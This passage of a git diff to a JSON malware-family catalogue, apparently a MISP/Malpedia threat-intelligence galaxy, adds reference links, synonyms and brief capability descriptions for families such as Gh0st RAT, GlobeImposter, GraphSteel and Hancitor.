"https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/" ], "synonyms": [ "FRIENDSPEAK", @@ -18676,8 +22355,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole", - "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/", - "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf" + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", + "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf", + "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/" ], "synonyms": [ "CoreImpact (Modified)", @@ -18694,7 +22374,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor", "https://www.kaspersky.com/about/press-releases/2021_ghostemperor-chinese-speaking-apt-targets-high-profile-victims-using-unknown-rootkit", - "https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/" + "https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf" ], "synonyms": [], "type": [] @@ -18708,8 +22389,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet", "https://en.wikipedia.org/wiki/GhostNet", - "https://www.nartv.org/2019/03/28/10-years-since-ghostnet/", - "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html" + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html", + "https://www.nartv.org/2019/03/28/10-years-since-ghostnet/" ], "synonyms": [ "Remosh" @@ -18736,27 +22418,33 @@ "value": "GhostAdmin" }, { - "description": "", + "description": "According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.\r\n\r\nBelow is a list of Gh0st RAT capabilities.\r\nTake full control of the remote screen on the infected bot.\r\nProvide real time as well as offline keystroke logging.\r\nProvide live feed of webcam, microphone of infected host.\r\nDownload remote binaries on the infected remote host.\r\nTake control of remote shutdown and reboot of host.\r\nDisable infected computer remote pointer and keyboard input.\r\nEnter into shell of remote infected host with full control.\r\nProvide a list of all the active processes.\r\nClear all existing SSDT of all existing hooks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat", "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", + "https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits", "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", "https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", "https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/", "http://www.hexblog.com/?p=1248", "http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf", "https://www.intezer.com/blog-chinaz-relations/", + "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", "https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", "http://www.nartv.org/mirror/ghostnet.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", "https://blog.cylance.com/the-ghost-dragon", "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", "https://s.tencent.com/research/report/836.html", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/", "https://blog.talosintelligence.com/2019/09/panda-evolution.html", "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", @@ -18765,11 +22453,12 @@ "https://www.datanet.co.kr/news/articleView.html?idxno=133346", "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/", + "https://asec.ahnlab.com/en/32572/", "https://www.secureworks.com/research/threat-profiles/bronze-edison", "https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf", "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "http://www.malware-traffic-analysis.net/2018/01/04/index.html", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", @@ -18832,6 +22521,19 @@ "uuid": "7f768705-d852-4c66-a7e0-76fd5016d07f", "value": "Ginwui" }, + { + "description": "An information stealer written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo", + "https://twitter.com/struppigel/status/1506933328599044100" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0edf6463-908a-4c3a-861d-70337c9f67bd", + "value": "Ginzo Stealer" + }, { "description": "", "meta": { @@ -18873,27 +22575,33 @@ "value": "GlitchPOS" }, { - "description": "", + "description": "GlobeImposter is a ransomware application which is mainly distributed via \"blank slate\" spam (the spam has no message content and an attached ZIP file), exploits, malicious advertising, fake updates, and repacked installers. GlobeImposter mimics the Globe ransomware family.\r\nThis malware may prevent execution of Anti-Virus solutions and other OS related security features and may prevent system restoration.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter", "https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/", + "https://www.emsisoft.com/ransomware-decryption-tools/globeimposter", "https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://asec.ahnlab.com/ko/30284/", "https://isc.sans.edu/diary/23417", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://blog.ensilo.com/globeimposter-ransomware-technical", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet" ], - "synonyms": [], + "synonyms": [ + "Fake Globe" + ], "type": [] }, "uuid": "73806c57-cef8-4f7b-a78b-7949ef83b2c2", @@ -18929,21 +22637,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba", - "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", - "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", + "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", + "https://habr.com/ru/company/solarsecurity/blog/578900/", + "https://community.riskiq.com/article/2a36a7d2/description", + "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", "http://resources.infosecinstitute.com/tdss4-part-1/", "https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", - "https://habr.com/ru/company/solarsecurity/blog/578900/", + "https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html", + "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", + "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", + "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", + "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", "https://labs.k7computing.com/?p=22319", - "https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html", - "https://community.riskiq.com/article/2a36a7d2/description", "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/", - "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", - "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/" + "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html" ], "synonyms": [], "type": [] @@ -19023,6 +22738,21 @@ "uuid": "9cfdc3ea-c838-4ac5-bff2-57c92ec24b48", "value": "Godzilla Loader" }, + { + "description": "A file infector written in Go, discovered by Karsten Hahn in February 2022. According to Karsten, despite its internal naming, it is not polymorphic and the virus body is not encrypted. Gofing uses the Coldfire Golang malware development library.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gofing", + "https://twitter.com/struppigel/status/1498229809675214849" + ], + "synonyms": [ + "Velocity Polymorphic Compression Malware" + ], + "type": [] + }, + "uuid": "ba142293-2f22-46e3-8b8e-086f3571f14c", + "value": "Gofing" + }, { "description": "", "meta": { @@ -19072,6 +22802,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper", + "https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/" ], "synonyms": [], @@ -19106,10 +22837,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax", - "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", + "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a", + "https://securelist.com/extracting-type-information-from-go-binaries/104715/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a" ], "synonyms": [ "SUNSHUTTLE" @@ -19124,9 +22860,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon", - "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf" + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://asec.ahnlab.com/en/31089/", + "https://www.youtube.com/watch?v=rfzmHjZX70s" ], "synonyms": [ "Lovexxx" @@ -19150,10 +22888,11 @@ "value": "Golroted" }, { - "description": "", + "description": "Gomorrah is a stealer with no or little obfuscation that appeared around March 2020. It is sold for about 150$ lifetime for v4 (originally 400$ for v3) or 100$ per month by its developer called \"th3darkly / lucifer\" (which is also the developer of CosaNostra botnet). The malware's main functionalities are stealing (passwords, cryptocurrency wallets) and loading of tasks and other payloads.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer", + "https://twitter.com/vxunderground/status/1469713783308357633", "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April" ], "synonyms": [], @@ -19216,6 +22955,7 @@ "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", "https://www.certego.net/en/news/malware-tales-gootkit/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728", @@ -19226,6 +22966,7 @@ "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", "https://www.youtube.com/watch?v=242Tn0IL2jE", "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", @@ -19237,6 +22978,8 @@ "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", "https://twitter.com/MsftSecIntel/status/1366542130731094021", "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://twitter.com/jhencinski/status/1464268732096815105", "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", "https://www.us-cert.gov/ncas/alerts/TA16-336A", "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055" @@ -19305,10 +23048,12 @@ "https://github.com/mlodic/ursnif_beacon_decryptor", "https://lokalhost.pl/gozi_tree.txt", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", "https://www.youtube.com/watch?v=BcFbkjUVc7o", "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/" ], @@ -19366,6 +23111,24 @@ "uuid": "94b942e2-cc29-447b-97e2-e496cbf2aadf", "value": "Graftor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage" + ], + "synonyms": [ + "Small Sieve" + ], + "type": [] + }, + "uuid": "0dfa69cc-cc70-4944-af42-7e1f923e6b6b", + "value": "GRAMDOOR" + }, { "description": "According to ESET Research, Grandoreirois a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. As such, it shows unusual effort by its authors to evade detection and emulation, and progress towards a modular architecture.", "meta": { @@ -19398,6 +23161,50 @@ "uuid": "626de4fc-cfa4-4fbc-ab35-4c9ab9fdec14", "value": "GrandSteal" }, + { + "description": "Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite", + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8ecc6605-eed1-416c-bc8b-0dc1147d3c2b", + "value": "Graphite" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphon", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9ab9e88f-b365-4d58-af52-e9d19ab00348", + "value": "Graphon" + }, + { + "description": "This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://cert.gov.ua/article/38374" + ], + "synonyms": [], + "type": [] + }, + "uuid": "64963521-0181-4220-935a-a6deefa871b2", + "value": "GraphSteel" + }, { "description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.", "meta": { @@ -19486,10 +23293,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy", "https://www.eset.com/int/greyenergy-exposed/", + "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", - "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", "https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/", "https://github.com/NozomiNetworks/greyenergy-unpacker" ], @@ -19531,11 +23339,31 @@ "uuid": "57460bae-84ad-402d-8949-9103c5917703", "value": "GRIMAGENT" }, + { + "description": "This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://cert.gov.ua/article/38374", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "235cba54-256e-48a0-b5dc-5e1aa3247cde", + "value": "GrimPlant" + }, { "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok", + "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/" ], "synonyms": [], "type": [] @@ -19548,6 +23376,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grunt", + "https://www.telsy.com/download/5776/?uid=aca91e397e", "https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/", "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", "https://twitter.com/ItsReallyNick/status/1208141697282117633" @@ -19643,16 +23472,21 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hades", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", - "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", "https://www.accenture.com/us-en/blogs/security/ransomware-hades", "https://twitter.com/inversecos/status/1381477874046169089?s=20", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/", - "https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware" + "http://www.secureworks.com/research/threat-profiles/gold-winter" ], "synonyms": [], "type": [] @@ -19665,20 +23499,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hakbit", + "https://www.justice.gov/usao-edny/press-release/file/1505981/download", "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", "http://id-ransomware.blogspot.com/2019/11/hakbit-ransomware.html", + "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland", + "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", + "https://www.carbonblack.com/2020/06/15/tau-threat-analysis-relations-to-hakbit-ransomware/", + "https://www.sekoia.io/en/the-story-of-a-ransomware-builder-from-thanos-to-spook-and-beyond-part-1/", "https://blog.cyble.com/2021/06/05/prometheus-an-emerging-apt-group-using-thanos-ransomware-to-target-organizations/", "https://unit42.paloaltonetworks.com/thanos-ransomware/", "https://securelist.com/cis-ransomware/104452/", + "https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland", "https://go.recordedfuture.com/hubfs/reports/cta-2020-0610.pdf", "https://www.seqrite.com/blog/thanos-ransomware-evading-anti-ransomware-protection-with-riplace-tactic/", "https://www.carbonblack.com/2020/06/08/tau-threat-analysis-hakbit-ransomware/", - "https://www.carbonblack.com/2020/06/15/tau-threat-analysis-relations-to-hakbit-ransomware/", + "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/", "https://unit42.paloaltonetworks.com/prometheus-ransomware/" ], "synonyms": [ @@ -19711,32 +23550,43 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor", "https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/", - "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", "https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/", + "https://www.malware-traffic-analysis.net/2021/09/29/index.html", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://github.com/OALabs/Lab-Notes/blob/main/Hancitor/hancitor.ipynb", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", "https://inquest.net/blog/2021/04/16/unearthing-hancitor-infrastructure", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/hancitor-making-use-of-cookies-to-prevent-url-scraping", "https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/", "https://elis531989.medium.com/dissecting-and-automating-hancitors-config-extraction-1a6ed85d99b8", "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear", "https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/", "https://pid4.io/posts/how_to_write_a_hancitor_extractor/", - "https://www.uperesia.com/hancitor-packer-demystified", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", 